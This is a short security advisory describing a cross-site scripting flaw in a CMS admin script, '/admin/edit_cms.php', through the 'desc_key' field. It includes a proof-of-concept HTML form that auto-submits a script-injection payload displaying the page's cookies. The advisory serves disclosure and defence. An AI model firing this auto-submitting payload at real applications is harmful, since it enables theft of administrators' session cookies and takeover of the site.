Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.   
  
The vulnerability exists due to failure in the "/admin/edit_cms.php" script to properly sanitize user-supplied input in "desc_key" and other variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following sample PoC is available:  
  
  
<form action='http://www.example.com/admin/edit_cms.php?page=1' name="frm" method='post' >  
<input name="title" type="hidden" value="Home"/>  
<input name="type" type="hidden" value="header"/>  
<input name="desc_meta" type="hidden" value="page+desc" />  
<input name="desc_key" type="hidden" value='"><script>alert(document.cookie)</script>' />  
<input name="cms_id" type="hidden" value="1" />  
<input name="edit_page" type="hidden" value="Edit+Page" />  
</form>  
<script>  
document.frm.submit();  
</script>
